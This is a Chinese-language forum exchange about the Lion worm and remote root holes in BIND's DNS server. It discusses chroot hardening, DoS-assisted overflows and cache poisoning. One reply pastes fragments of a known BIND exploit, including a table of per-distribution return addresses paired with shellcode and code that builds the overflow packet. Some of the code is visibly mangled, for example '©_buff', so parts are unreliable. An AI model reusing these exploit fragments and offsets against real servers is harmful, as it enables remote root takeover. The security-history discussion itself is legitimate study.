目前的 dns server 軟體大都是 BIND 那一套。
記得比較嚴重的漏洞是一個 Lion worm 的攻擊(印象是公元 2000/2001 的事情),
專門針對 linux 上的 bind8 實作,可以讓入侵者取得 root 的權限。
自那次開始,大家對 chroot 囚牢的設計也有了比較普遍的認識。
至於 DOS 攻繫,本身對 dns 服務的衝擊不是重點,
而是在攻繫發動之後所帶來的進一步影響。
比方造成系統 loading 過重而又拉長某些服務的反應時間,
有機會注入 buffer overload 等程式碼并取得足夠的發作條件。
或是將某一 IP 打跨并冒用該 IP 來提供偽服務等等...
以上只是個人猜想的可能性,實際的操作并無經驗。
沒錯,以上推斷完全正確,基本上Lion的source來自teso,ADM等group,其exploit早在幾個月前就流出,
Lion作者做了一些自動化的改良而演變成worm,teso的source也很又意思,其基本作法就是利用超過1024的buffer overflow
來folk出shell code,而那時的bind並沒有chroot,所以folk出的shell code可以做任何事.
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;
memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
當時除了linux外,被點名的還有BSD,理論上,能夠找出overflow code的,就無法擋,而計算這個hex是不會太難的,所以
後來bind就開始採用chroot設計,即使取得root也只能在chroot內運作,不致整台被抱走...
{
"Linux RedHat 6.0", "9.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "9.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.2", "9.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 8.0", "9.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "9.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
基本上,搭配DoS的攻擊效能據測試會比單用來得容易溢出,這就是所謂的race condition,
簡單來說,就是當主機太忙來不及處理,buffer overflow到偽造的point,就可以指向事先encode的offset.
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe!
*/
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);
至於將dns主機拖垮來偽造dns service的作法可行性應該不高,這種作法叫做Pharming,最常見的技巧是cache poison,利用cache轉嫁dns,
印象中2007年發生過一次MSN設定錯誤dns被轉嫁過一次,利用DoS的可行性遠比其他做法的成功率要來得低